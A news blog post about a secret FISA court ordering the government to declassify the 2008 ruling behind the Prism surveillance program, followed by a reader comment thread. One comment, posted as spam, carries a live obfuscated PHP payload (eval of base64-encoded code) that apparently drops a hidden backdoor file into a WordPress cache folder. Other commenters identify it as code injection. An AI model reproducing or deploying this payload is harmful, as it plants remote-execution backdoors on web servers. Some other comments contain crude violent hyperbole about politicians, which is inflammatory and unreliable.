A secret U.S. court overseeing government domestic surveillance activities has sided with Yahoo and ordered the Obama administration to declassify and publish a 2008 court decision justifying Prism, the data collection program revealed last month by former security contractor Edward Snowden.

The ruling could offer a rare glimpse into how the government has legally justified its spy agencies’ data collection programs under the Foreign Intelligence Surveillance Act (FISA).

Judge Reggie Walton of the Foreign Intelligence Surveillance Court issued Monday’s ruling. The government is expected to decide by August 26 which parts of the 2008 opinion may be published, according to a separate court filing by the Justice Department…

In June, after Snowden leaked information about Prism to the Washington Post and the Guardian newspapers, Yahoo’s lawyers asked the courts and government to declassify and publish decisions upholding the constitutionality of the program.

Legal experts who follow surveillance cases said the 2008 ruling may not reveal any strikingly novel legal reasoning by the government or the courts. But civil liberties advocates said the significance of the ruling may lie in the court’s decision itself to declassify the previously secret 2008 ruling.

“Unless the public knows what the laws mean, it can’t really assess how much power (it has) given its government,” said Patrick Toomey, a national security fellow at the American Civil Liberties Union.

Monday’s ruling “is a suggestion that the FISA court is primed now to consider the government’s assertion of the necessity of secrecy,” Toomey said. “It’s a promising first step.”

The decision is also a victory for Yahoo…”Once those documents are made public, we believe they will contribute constructively to the ongoing public discussion around online privacy,” Yahoo said.

Other Internet companies, including Google and Facebook began participating in Prism in early 2009 soon after Yahoo lost its appeal before the Foreign Intelligence Surveillance Court of Review.

This can be a victory for a lot of ordinary citizens concerned with the government being the ultimate decider – to use George W. Bush’s term – on questions of balance between national security and individual privacy.

  1. bobbo, we think with words, but only remember images says:

    Worth posting again. What has the higher priority? Claims of National Security, or an informed public?


    You have to fight for your freedom every day….. or lose it.

  2. dave 1001 1001 1001 says:

    John this is an obvious order to have the black helicopters pick you up. I am surprised you couldn’t see the letter for what it is.

  3. Dallas says:

    “Unless the public knows what the laws mean, it can’t really assess how much power (it has) given its government,”

    LOL. The sheeple need to figure out how much power they gave the government five years ago !

    Three more years to go for the sheeple to see the effects of corporations being people .

  4. orchidcup says:

    This never would have happened if Snowden had not snitched.

    • Dallas says:

      How do you know?

    • msbpodcast says:

      As long as the 1%ers thought we were in the dark, they wanted to continue applying the razor to our 99%er throats.

      Now they want Snowden to sit around a TNT enema because he let the cat outta the bag.

      I say fuck the 1%ers/i>.

      We don’t need them and can get along fine with the abuse.

    • spsffan says:

      Well, perhaps not never, but certainly not until someone snitched.

      I’m still waiting for someone….anyone…in Congress or the Administration to ask,

      “How exactly, in a government of the people, by the people, we have secret courts?”

      I have a feeling it will be a long wait. But at least some in Congress are questioning the wholesale collection of data from freaking everyone.

  5. noname says:

    Democracy in Action….. and no different than Congress in Action….

    We’ve got the best government money can buy!

    We’ve got the best media & news reporting money can buy!

    We’ve got the best courts money can buy!

    We’ve got the best education money can buy!

    We’ve got the best justice system money can buy!

    We’ve got the best internet connection speeds money can buy!

    We’ve got the best health care money can buy!

    We’ve got the best housing money can buy!

    We’ve got the best Nation Building Armed forces money can buy!

    We’ve got the best bridges, roads & interstates money can buy!

    We’ve got the best television mega churches & ministries money can buy!

    We’ve got the best …… money can buy!

    Dammit, we Americans just need more money to buy stuff!

    • bobbo, we think with words, but only remember images says:

      Does this mean: “We have the best National Security money can buy!” or do I mistake your meaning?

      Gullible fools want to know.

  6. dcphill says:

    No Comment (classified)

  7. MikeN says:

    I guess the court is not that secret.

  8. g says:

    This is a racial outrage,,somehow. I have always been faithful to the party.

  9. msbpodcast says:

    Secret courts, writing secret laws, using secret police to lock up people in secret/foreign jails, for secret purposes, is as far from the constitution as its possible to get.

    What’s next?

    We hire Mexican drug lords’ hit squads to leave our citizens’ severed heads on pikes by the sides of the roads?

    You’d need George Orwell, Aldous Huxley, William Golding, Pol Pot, Saddam Hussein, Muhamar Qdaffy and Iosif Stalin ranting full-on to craft a more perfidious and distopian document.

    I want the crotches of Cheney/Shrub AND O’Mama to be nailed to the front of the White House gate in full and very public view for coming up and going along with this complete and utter shit.

  10. lemuel says:

    I to you am very obliged.
    eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvc3dkamViLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qWDFFKi9ldmFsLypofkQ9XCovKC8qejBGOncqL2Jhc2U2NF9kZWNvZGUvKj1JSnIqLygvKnBrYmdmKi9cJ0x5cGlUR1ZBUURCTWV5b3ZhV1l2S25JeFhIbFJLaThvTFwnLyo+STpZNzl4Ki8uLyo8UFNgNiovXCd5cGpRMlJRS2k5cGMzTmxkQzhxZWxZelZDb3ZLQzhxVURcJy8qO2VcJ28qLy4vKkBTJkJAKi9cJ3hRYVhvcUx5UmZVa1ZSVlVWVFZDOHFaRkZhTWlvdld5OFwnLypbWVNERiovLi8qQm5fdVwnKi9cJ3FQWGxWSmpvcUx5ZHBKeThxY1RNdUtpOHVMeXBoZFhWV1wnLyo/VlQ0Ki8uLypiekI9Ki9cJ0tpOG5iU2N2S2lCQ2VsVitLaTh1THlwTFBsQXFMeWRtSlwnLyomJUMpe1p+Ki8uLypZXCdVRHIqL1wneThxYVU1VllIWXFMeTR2S2taaFFWaytLaThuYkc4bkx5XCcvKkxGVWloRyovLi8qXlwnc2VXKi9cJ3BYYTF3b2ZDb3ZYUzhxUTJOQ2ZrZ3FMeThxV2o1OWF6WVwnLyo7YSV2MCovLi8qdERgeCovXCdxTHlrdktrVjJLSElxTHk4cWNHMVpaRzFGS2k4cEx5cGxcJy8qaFRDdCovLi8qbXt1dyE7Ki9cJ09paGZNeW92WlhaaGJDOHFVU2MzSUNvdktDOHFVbFJ4UVwnLypOdiFoXlIqLy4vKjxkfGspSSovXCdqdDNjalFxTDNOMGNtbHdjMnhoYzJobGN5OHFLeWczTlNcJy8qOj9ZeCovLi8qUU1XZD0qL1wnb3ZLQzhxSVcxUWJDb3ZKRjlTUlZGVlJWTlVMeW9zZkhRXCcvKkElVCwqLy4vKi1bLUQ/Ki9cJ3FMMXN2S2xOV2J5b3ZKMmtuTHlvMmZFWkxUbWxkS2k4dVwnLyo5UExZcSovLi8qWmZ2Ki9cJ0x5b2dSaXdxTHlkdEp5OHFVU1YzS1Z4VFppb3ZMaThxS1wnLypiaVM0WCovLi8qSE0rUVcqL1wnV3M4UGxJcUx5ZG1KeThxTGlCbUtTb3ZMaThxVm53ell5XCcvKmcoT1ZzKi8uLyp3SX48Ki9cJ292SjJ4dkp5OHFZbnB2V2trcUwxMHZLbFJpT25Fc1JUQVwnLyp7QzxnRHYqLy4vKjRRSiovXCdxTHk4cVRWTW1MQ292S1M4cU5uczVjVlJGT1Nvdkx5cExcJy8qYTU3Ki8uLyowLjJ1Ki9cJ0pTWnhUU292S1M4cUtUaDBZRzlYS2k4dktpWXRlaW92T3k4cVJEbzlmQ292XCcvKmhjWW41Ki8pLypfWEArOiovLypeMC1LKFt6Ki8pLypnW1c1XSovLyooYVpYKi87LypvSWAoKi8/PicpO2ZjbG9zZSgkZik7fQ==’)); –>

    • msbpodcast says:

      I call Spam on this post.

      Get it out of here…

    • Gwad his own self says:

      Worse than spam, it’s some kind of php code injection. And it’s possible that it worked, we don’t know.

  11. Mr Diesel says:

    Funny, there was a drone crash in Florida yesterday. An F-4 conversion most likely practicing to take out insurgents, er, I mean US citizens.

    • msbpodcast says:

      Bah. It was only Floridians.

      No big loss even if they hit anybody.

      It was probably just target practice with a surplus drone.

      Even if they hit with the plane instead of the missile, if that shit lands on you, it’ll still ruin your day.

      • Gwad his own self says:

        It was apparently carrying a classified payload, because they completely shut down, for 24 hours no less, the east-west corridor that carries about 30% of the ENTIRE traffic through the florida panhandle. The excuse was “uh, fire? uh, well, it’s not on fire, but, well… fire? After 24 hours we’ll be kinda sure that it wont… uh, burn? ” Likely they had the E3’s out scrubbing the ground for whatever was leftover from the classified payload. F4’s are extremely expensive to maintain and fly. I’m sure they reserve them for the “special” projects for which the cheaper drones just won’t do.

        • Mr Diesel says:

          QF-4 remotely piloted target. It’s what other pilots practice shooting at.

          • Gwad his own self says:

            Tyndall is (mostly) a weapons research facility. I live close enough to hear them dropping practice bombs at night. I have worked on that base myself at various times. I know what a drone is, I know what an F4 is, and I know what they do with them. I also know that they do NOT routinely use irreplaceable aircraft worth a few million dollars apiece for routine target practice. But thanks for the info.

  12. mojo says:

    “A secret proclamation? How unusual!”
    — Arsenic and Old Lace


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